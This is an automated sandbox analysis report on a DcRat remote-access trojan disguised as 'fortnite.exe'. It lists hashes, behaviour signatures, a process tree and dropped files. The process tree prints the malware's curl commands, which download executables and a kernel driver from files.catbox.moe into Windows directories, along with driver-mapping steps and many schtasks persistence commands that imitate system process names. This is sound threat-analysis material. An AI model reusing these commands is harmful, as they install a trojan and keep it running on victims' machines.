Resubmissions

17/11/2024, 21:13

241117-z2qh1sxqhv 10

17/11/2024, 21:12

241117-z2agssxqgw 8

Analysis

  • max time kernel
    42s
  • max time network
    46s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/11/2024, 21:13

General

  • Target

    fortnite.exe

  • Size

    1.2MB

  • MD5

    36f5b50cb7cf5c1eb050ce5bb6357519

  • SHA1

    ffc7f0f226809fc0a8e14f40dff4f39de8eea0bf

  • SHA256

    ec3e0efe8027c3aabae9ccd394fc40c87c8a6a0ff563730c8796abc31202c26b

  • SHA512

    64291ce8e927281d205706ccfe8fa22580c82ff060e479c2206158e14ab0a2f40d9498cb063038505ab32135513893406922ef488dfa1bb3998cc49fe8a4550e

  • SSDEEP

    24576:5xbn0OetgzfnkuGKFI+lpC+bKlAtc064:0p2n2Gz

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\fortnite.exe
    "C:\Users\Admin\AppData\Local\Temp\fortnite.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4888
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
        PID:5092
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/t3twl8.bin --output C:\Windows\Speech\physmeme.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4696
        • C:\Windows\system32\curl.exe
          curl --silent https://files.catbox.moe/t3twl8.bin --output C:\Windows\Speech\physmeme.exe
          3⤵
          • Drops file in Windows directory
          PID:4756
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/5yimk7.sys --output C:\Windows\System32\Tasks\driver.sys >nul 2>&1
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3512
        • C:\Windows\system32\curl.exe
          curl --silent https://files.catbox.moe/5yimk7.sys --output C:\Windows\System32\Tasks\driver.sys
          3⤵
          • Drops file in System32 directory
          PID:3960
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/awejiq --output C:\Windows\System32\Tasks\mapper.exe >nul 2>&1
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2780
        • C:\Windows\system32\curl.exe
          curl --silent https://files.catbox.moe/awejiq --output C:\Windows\System32\Tasks\mapper.exe
          3⤵
          • Drops file in System32 directory
          PID:2776
      • C:\Windows\Speech\physmeme.exe
        "C:\Windows\Speech\physmeme.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:2404
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Medal\LziQ5Qlyzu0f0C5NtfHJq0w.vbe"
          3⤵
          • Checks computer location settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1088
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Medal\Fua65ZRdZNJ5OJAqSXb7513NtPonCq4dK3Ubpg1B.bat" "
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4024
            • C:\Medal\Medal.exe
              "C:\Medal/Medal.exe"
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3652
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\UEH9JDSi5x.bat"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:4444
                • C:\Windows\system32\chcp.com
                  chcp 65001
                  7⤵
                    PID:2908
                  • C:\Windows\system32\w32tm.exe
                    w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                    7⤵
                      PID:3348
                    • C:\Program Files\Windows Sidebar\Gadgets\MoUsoCoreWorker.exe
                      "C:\Program Files\Windows Sidebar\Gadgets\MoUsoCoreWorker.exe"
                      7⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2688
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c C:\Windows\System32\Tasks\mapper.exe C:\Windows\System32\Tasks\driver.sys
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4060
            • C:\Windows\System32\Tasks\mapper.exe
              C:\Windows\System32\Tasks\mapper.exe C:\Windows\System32\Tasks\driver.sys
              3⤵
              • Executes dropped EXE
              PID:4300
        • C:\Windows\System32\rundll32.exe
          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
          1⤵
            PID:2212
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Security\RuntimeBroker.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:2316
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Windows Security\RuntimeBroker.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:1612
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Security\RuntimeBroker.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:2824
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "smsss" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Reference Assemblies\smss.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:316
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\smss.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:3512
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "smsss" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Reference Assemblies\smss.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:2300
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 5 /tr "'C:\Users\Default User\SppExtComObj.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:3992
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Users\Default User\SppExtComObj.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:2688
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 8 /tr "'C:\Users\Default User\SppExtComObj.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:4720
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Sidebar\Gadgets\MoUsoCoreWorker.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:4756
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\Gadgets\MoUsoCoreWorker.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:388
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Sidebar\Gadgets\MoUsoCoreWorker.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:3720
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\Registry.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:1924
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\Registry.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:4708
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\Registry.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:1004
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "MedalM" /sc MINUTE /mo 13 /tr "'C:\Medal\Medal.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:620
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "Medal" /sc ONLOGON /tr "'C:\Medal\Medal.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:4136
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "MedalM" /sc MINUTE /mo 13 /tr "'C:\Medal\Medal.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:872

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Medal\Fua65ZRdZNJ5OJAqSXb7513NtPonCq4dK3Ubpg1B.bat

            Filesize

            63B

            MD5

            e24619181276af563705f4b1bed29490

            SHA1

            fddac27290319f69543f5330fe97c122a8a01376

            SHA256

            eee937e02edcd36de3ed7658c9ad9d79844502c8553a7c244b2b154aa9ffec05

            SHA512

            1898a5e2a52f2f34466dfd9e1b1149b36052874b6be432dd9301ecfa6bc3a964dca6980b8db54ddcf8ef24a95792efcaffeb09aceb7a04304a0d18f4d0ce0591

          • C:\Medal\LziQ5Qlyzu0f0C5NtfHJq0w.vbe

            Filesize

            224B

            MD5

            96d43070e1e39d421c53a2f8dca13fc6

            SHA1

            07417cccceddbf8d5f5b48dec0b2e08d53a4754f

            SHA256

            0dab986e5c533631946e27cdbb5147e68b9eb3008c1add60d21a59cd7d964314

            SHA512

            9fc0ee5ac42bca7c7ee7584baa5be6907fc750378d037d56e075a21c4fe8eaeb3efac3e9fb6087a70a6ad01dcebf05d2462f2463daa8063b4047c11e5364d398

          • C:\Medal\Medal.exe

            Filesize

            1.8MB

            MD5

            4f66bbfed3a524398bd0267ed974ccbc

            SHA1

            b2567397dc823412d87a23428c7833ff74586b7d

            SHA256

            fa05b7f28eb1df0447998b89a08aa96453b0f3240c31489900d178862eaa80d8

            SHA512

            bc4de61adb5f56c66043a2617ebfcc9f4e82d36e48dbdc9178695f9466d554eb364d69829490ff43100e8cb457ce7e78b2e277a3cf1733edf32c0154e6f56d9f

          • C:\Users\Admin\AppData\Local\Temp\UEH9JDSi5x.bat

            Filesize

            236B

            MD5

            5a3aa696df6b4e845be9f36932615180

            SHA1

            b8235dcf089e95ac532b4f15a1b3a048beb6dab9

            SHA256

            bab146b6469e1c1133074460e3862ca07c71997be3e40aa7fcaa57e9627a8b57

            SHA512

            95e47013ba4042244517fa37cdeba1342bd5505c8ffeb954a3ddaf2be93ceb5e69a93fe316ca58e46476022de3fcf51edf15377ee66283fd70082922c182f6bc

          • C:\Windows\Speech\physmeme.exe

            Filesize

            2.1MB

            MD5

            f4620c0afa8e21897509b2e7215097f5

            SHA1

            af216ca6105e271a3fb45a23c10ee7cf3158b7e1

            SHA256

            8daf7dcdf256d7de40d33e5550dc5e8bbf887b8c4b7f49c79a15c96dad867f82

            SHA512

            68b875acc06d9c3796f49377b5b25a5e8b9a380221eea59e4274249ca7d2bff10c3fc5edf50eae5da726afea882e0e777af86af25be7b57c8fbfd70448d8d7dd

          • C:\Windows\System32\Tasks\driver.sys

            Filesize

            12KB

            MD5

            10a7579c03da9baac0f2efc69673d8c2

            SHA1

            acd27171757c05216665a332450f0604b33b07d5

            SHA256

            797c199601f2dcee255c24da2507ba435f03dcee0fdadbe348023aa75ebb2ad3

            SHA512

            a9cb4c7765e34bb3d8dc1356e37dfeca72e713731c036a3eb48bf69daac6c1f45910409e24ec01e1b13cd9d5d0cad708f1483cd83dcec00566cb307652fe7233

          • C:\Windows\System32\Tasks\mapper.exe

            Filesize

            641KB

            MD5

            26edf1db409a2bd4a6ff5b2b477a042e

            SHA1

            f16e813b8f8922bc7998d174be5d22a78f051017

            SHA256

            3fa1d1c44f240978b72b9dab0124c962723487261f101fde3c7660103d53e22d

            SHA512

            ec1713045a9e171034c6496d4d6eced34863e7c6d19b5695adc9c5593220f01f6ee1690f0ffa8823ca11b3fd4abb5f640fb024af6a11c3f21c8cb42fc1c222f9

          • memory/2688-57-0x000000001BA60000-0x000000001BB09000-memory.dmp

            Filesize

            676KB

          • memory/3652-24-0x00000000011A0000-0x00000000011AE000-memory.dmp

            Filesize

            56KB

          • memory/3652-26-0x0000000001230000-0x000000000124C000-memory.dmp

            Filesize

            112KB

          • memory/3652-27-0x000000001B550000-0x000000001B5A0000-memory.dmp

            Filesize

            320KB

          • memory/3652-29-0x0000000002C00000-0x0000000002C18000-memory.dmp

            Filesize

            96KB

          • memory/3652-31-0x00000000011B0000-0x00000000011BE000-memory.dmp

            Filesize

            56KB

          • memory/3652-48-0x000000001B5B0000-0x000000001B659000-memory.dmp

            Filesize

            676KB

          • memory/3652-22-0x00000000007B0000-0x000000000098E000-memory.dmp

            Filesize

            1.9MB

          • memory/4300-15-0x00007FF6F7E20000-0x00007FF6F7EF9000-memory.dmp

            Filesize

            868KB